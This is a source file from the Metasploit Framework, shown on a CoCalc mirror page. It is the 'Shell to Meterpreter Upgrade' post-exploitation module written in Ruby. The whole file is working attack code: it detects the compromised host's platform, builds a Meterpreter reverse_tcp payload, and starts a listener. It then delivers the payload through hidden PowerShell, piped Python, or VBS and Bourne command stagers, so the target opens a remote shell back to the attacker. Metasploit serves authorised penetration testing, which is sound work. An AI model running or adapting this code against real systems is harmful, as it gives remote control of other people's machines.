CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/shell_to_meterpreter.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/exploitation/cmdstager'
6
7
class MetasploitModule < Msf::Post
8
include Exploit::Powershell
9
include Post::Architecture
10
include Post::Windows::Powershell
11
12
VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']
13
VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Shell to Meterpreter Upgrade',
20
'Description' => %q{
21
This module attempts to upgrade a command shell to meterpreter. The shell
22
platform is automatically detected and the best version of meterpreter for
23
the target is selected. Currently meterpreter/reverse_tcp is used on Windows
24
and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
28
'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
29
'SessionTypes' => [ 'shell', 'meterpreter' ]
30
)
31
)
32
register_options(
33
[
34
OptAddressLocal.new('LHOST',
35
[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
36
OptInt.new('LPORT',
37
[true, 'Port for payload to connect to.', 4433]),
38
OptBool.new('HANDLER',
39
[ true, 'Start an exploit/multi/handler to receive the connection', true])
40
]
41
)
42
register_advanced_options([
43
OptInt.new('HANDLE_TIMEOUT',
44
[true, 'How long to wait (in seconds) for the session to come back.', 30]),
45
OptEnum.new('WIN_TRANSFER',
46
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
47
OptEnum.new('PLATFORM_OVERRIDE',
48
[false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),
49
OptEnum.new('PSH_ARCH_OVERRIDE',
50
[false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),
51
OptString.new('PAYLOAD_OVERRIDE',
52
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
53
OptString.new('BOURNE_PATH',
54
[false, 'Remote path to drop binary']),
55
OptString.new('BOURNE_FILE',
56
[false, 'Remote filename to use for dropped binary']),
57
OptInt.new('COMMAND_TIMEOUT',
58
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
59
])
60
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
61
end
62
63
def command_timeout
64
datastore['COMMAND_TIMEOUT']
65
end
66
67
# Run method for when run command is issued
68
def run
69
print_status("Upgrading session ID: #{datastore['SESSION']}")
70
71
# Try hard to find a valid LHOST value in order to
72
# make running 'sessions -u' as robust as possible.
73
if datastore['LHOST']
74
lhost = datastore['LHOST']
75
elsif framework.datastore['LHOST']
76
lhost = framework.datastore['LHOST']
77
else
78
lhost = session.tunnel_local.split(':')[0]
79
if lhost == 'Local Pipe'
80
print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
81
return
82
end
83
end
84
85
# If nothing else works...
86
lhost = Rex::Socket.source_address if lhost.blank?
87
88
lport = datastore['LPORT']
89
90
# Handle platform specific variables and settings
91
if datastore['PAYLOAD_OVERRIDE']
92
unless datastore['PLATFORM_OVERRIDE']
93
print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')
94
return nil
95
end
96
unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE
97
print_error('Please provide a valid PLATFORM_OVERRIDE')
98
return nil
99
end
100
payload_name = datastore['PAYLOAD_OVERRIDE']
101
payload = framework.payloads.create(payload_name)
102
platform = datastore['PLATFORM_OVERRIDE']
103
unless payload
104
print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')
105
return nil
106
end
107
if platform.downcase == 'windows' || platform.downcase == 'win'
108
unless datastore['PSH_ARCH_OVERRIDE']
109
print_error('Please provide a PSH_ARCH_OVERRIDE')
110
return nil
111
end
112
unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE
113
print_error('Please provide a valid PSH_ARCH_OVERRIDE')
114
return nil
115
end
116
psh_arch = datastore['PSH_ARCH_OVERRIDE']
117
end
118
lplat = payload.platform.platforms
119
larch = payload.arch
120
else
121
case session.platform
122
when 'windows', 'win'
123
platform = 'windows'
124
lplat = [Msf::Platform::Windows]
125
arch = get_os_architecture
126
case arch
127
when ARCH_X64
128
payload_name = 'windows/x64/meterpreter/reverse_tcp'
129
psh_arch = 'x64'
130
when ARCH_X86
131
payload_name = 'windows/meterpreter/reverse_tcp'
132
psh_arch = 'x86'
133
else
134
print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')
135
return nil
136
end
137
larch = [arch]
138
vprint_status('Platform: Windows')
139
when 'osx'
140
platform = 'osx'
141
payload_name = 'osx/x64/meterpreter/reverse_tcp'
142
lplat = [Msf::Platform::OSX]
143
larch = [ARCH_X64]
144
vprint_status('Platform: OS X')
145
when 'solaris'
146
platform = 'python'
147
payload_name = 'python/meterpreter/reverse_tcp'
148
vprint_status('Platform: Solaris')
149
else
150
# Find the best fit, be specific with uname to avoid matching hostname or something else
151
target_info = cmd_exec('uname -ms')
152
if target_info =~ /linux/i && target_info =~ /86/
153
# Handle linux shells that were identified as 'unix'
154
platform = 'linux'
155
payload_name = 'linux/x86/meterpreter/reverse_tcp'
156
lplat = [Msf::Platform::Linux]
157
larch = [ARCH_X86]
158
vprint_status('Platform: Linux')
159
elsif target_info =~ /darwin/i
160
platform = 'osx'
161
payload_name = 'osx/x64/meterpreter/reverse_tcp'
162
lplat = [Msf::Platform::OSX]
163
larch = [ARCH_X64]
164
vprint_status('Platform: OS X')
165
elsif remote_python_binary
166
# Generic fallback for OSX, Solaris, Linux/ARM
167
platform = 'python'
168
payload_name = 'python/meterpreter/reverse_tcp'
169
vprint_status('Platform: Python [fallback]')
170
end
171
end
172
end
173
174
if platform.blank?
175
print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
176
return nil
177
end
178
179
vprint_status("Upgrade payload: #{payload_name}")
180
181
payload_data = generate_payload(lhost, lport, payload_name)
182
if payload_data.blank?
183
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
184
return nil
185
end
186
187
if datastore['HANDLER']
188
listener_job_id = create_multihandler(lhost, lport, payload_name)
189
if listener_job_id.blank?
190
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
191
return nil
192
end
193
end
194
195
case platform.downcase
196
when 'windows'
197
if session.type == 'powershell'
198
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
199
psh_payload = case datastore['Powershell::method']
200
when 'net'
201
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
202
when 'reflection'
203
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
204
when 'old'
205
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
206
when 'msil'
207
raise 'MSIL Powershell method no longer exists'
208
else
209
raise 'No Powershell method specified'
210
end
211
212
# prepend_sleep => 1
213
psh_payload = 'Start-Sleep -s 1;' << psh_payload
214
215
encoded_psh_payload = encode_script(psh_payload)
216
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
217
elsif have_powershell? && (datastore['WIN_TRANSFER'] != 'VBS')
218
vprint_status('Transfer method: Powershell')
219
psh_opts = { persist: false, prepend_sleep: 1 }
220
if session.type == 'shell'
221
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
222
else
223
psh_opts[:remove_comspec] = true
224
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
225
end
226
else
227
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
228
vprint_status('Transfer method: VBS [fallback]')
229
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
230
aborted = transmit_payload(exe, platform)
231
end
232
when 'python'
233
vprint_status('Transfer method: Python')
234
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
235
when 'osx'
236
vprint_status('Transfer method: Python [OSX]')
237
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
238
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
239
else
240
vprint_status('Transfer method: Bourne shell [fallback]')
241
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
242
aborted = transmit_payload(exe, platform)
243
end
244
245
if datastore['HANDLER']
246
vprint_status('Cleaning up handler')
247
cleanup_handler(listener_job_id, aborted)
248
end
249
250
nil
251
end
252
253
#
254
# Get the Python binary from the remote machine, if any, by running
255
# a series of channelized `cmd_exec` calls.
256
# @return String/nil A string if a Python binary can be found, else nil.
257
#
258
def remote_python_binary
259
return @remote_python_binary if defined?(@remote_python_binary)
260
261
python_exists_regex = /Python (2|3)\.(\d)/
262
263
if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
264
@remote_python_binary = 'python3'
265
elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
266
@remote_python_binary = 'python'
267
elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
268
@remote_python_binary = 'python2'
269
else
270
@remote_python_binary = nil
271
end
272
273
@remote_python_binary
274
end
275
276
def transmit_payload(exe, platform)
277
#
278
# Generate the stager command array
279
#
280
linemax = 1700
281
if session.exploit_datastore['LineMax']
282
linemax = session.exploit_datastore['LineMax'].to_i
283
end
284
opts = {
285
linemax: linemax
286
# :nodelete => true # keep temp files (for debugging)
287
}
288
case platform
289
when 'windows'
290
opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64')
291
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
292
when 'osx'
293
opts[:background] = true
294
cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
295
else
296
opts[:background] = true
297
opts[:temp] = datastore['BOURNE_PATH']
298
opts[:file] = datastore['BOURNE_FILE']
299
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
300
end
301
302
cmds = cmdstager.generate(opts)
303
if cmds.nil? || cmds.empty?
304
print_error('The command stager could not be generated.')
305
raise ArgumentError
306
end
307
308
#
309
# Calculate the total size
310
#
311
total_bytes = 0
312
cmds.each { |cmd| total_bytes += cmd.length }
313
314
vprint_status('Starting transfer...')
315
begin
316
#
317
# Run the commands one at a time
318
#
319
sent = 0
320
aborted = false
321
cmds.each.with_index do |cmd, i|
322
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
323
# for an unlimited amount of time for the newly spawned session to exit.
324
wait_for_cmd_result = i + 1 < cmds.length
325
# Note that non-channelized cmd_exec calls currently return an empty string
326
ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
327
if wait_for_cmd_result
328
if !ret
329
aborted = true
330
else
331
ret.strip!
332
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
333
end
334
if aborted
335
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
336
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
337
break
338
end
339
end
340
341
sent += cmd.length
342
progress(total_bytes, sent)
343
end
344
rescue ::Interrupt
345
# TODO: cleanup partial uploads!
346
aborted = true
347
rescue StandardError => e
348
print_error("Error: #{e}")
349
aborted = true
350
end
351
352
return aborted
353
end
354
355
def cleanup_handler(listener_job_id, aborted)
356
# Return if the job has already finished
357
return nil if framework.jobs[listener_job_id].nil?
358
359
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do
360
if !aborted
361
timer = 0
362
timeout = datastore['HANDLE_TIMEOUT']
363
vprint_status("Waiting up to #{timeout} seconds for the session to come back")
364
while !framework.jobs[listener_job_id].nil? && timer < timeout
365
sleep(1)
366
timer += 1
367
end
368
end
369
print_status('Stopping exploit/multi/handler')
370
framework.jobs.stop_job(listener_job_id)
371
end
372
end
373
374
#
375
# Show the progress of the upload
376
#
377
def progress(total, sent)
378
done = (sent.to_f / total.to_f) * 100
379
print_status(format('Command stager progress: %3.2f%% (%d/%d bytes)', done.to_f, sent, total))
380
end
381
382
# Method for checking if a listener for a given IP and port is present
383
# will return true if a conflict exists and false if none is found
384
def check_for_listener(lhost, lport)
385
client.framework.jobs.each do |_k, j|
386
next unless j.name =~ %r{ multi/handler}
387
388
current_id = j.jid
389
current_lhost = j.ctx[0].datastore['LHOST']
390
current_lport = j.ctx[0].datastore['LPORT']
391
if lhost == current_lhost && lport == current_lport.to_i
392
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
393
return true
394
end
395
end
396
return false
397
end
398
399
# Starts a exploit/multi/handler session
400
def create_multihandler(lhost, lport, payload_name)
401
pay = client.framework.payloads.create(payload_name)
402
pay.datastore['RHOST'] = rhost
403
pay.datastore['LHOST'] = lhost
404
pay.datastore['LPORT'] = lport
405
406
print_status('Starting exploit/multi/handler')
407
408
if check_for_listener(lhost, lport)
409
print_error('A job is listening on the same local port')
410
return
411
end
412
413
# Set options for module
414
mh = client.framework.exploits.create('multi/handler')
415
mh.share_datastore(pay.datastore)
416
mh.datastore['WORKSPACE'] = client.workspace
417
mh.datastore['PAYLOAD'] = payload_name
418
mh.datastore['EXITFUNC'] = 'thread'
419
mh.datastore['ExitOnSession'] = true
420
# Validate module options
421
mh.options.validate(mh.datastore)
422
# Execute showing output
423
mh.exploit_simple(
424
'Payload' => mh.datastore['PAYLOAD'],
425
'LocalInput' => user_input,
426
'LocalOutput' => user_output,
427
'RunAsJob' => true
428
)
429
430
# Check to make sure that the handler is actually valid
431
# If another process has the port open, then the handler will fail
432
# but it takes a few seconds to do so. The module needs to give
433
# the handler time to fail or the resulting connections from the
434
# target could end up on on a different handler with the wrong payload
435
# or dropped entirely.
436
select(nil, nil, nil, 5)
437
return nil if framework.jobs[mh.job_id.to_s].nil?
438
439
mh.job_id.to_s
440
end
441
442
def generate_payload(lhost, lport, payload_name)
443
payload = framework.payloads.create(payload_name)
444
445
unless payload.respond_to?('generate_simple')
446
print_error("Could not generate payload #{payload_name}. Invalid payload?")
447
return
448
end
449
450
options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}"
451
payload.generate_simple('OptionStr' => options)
452
end
453
end
454
455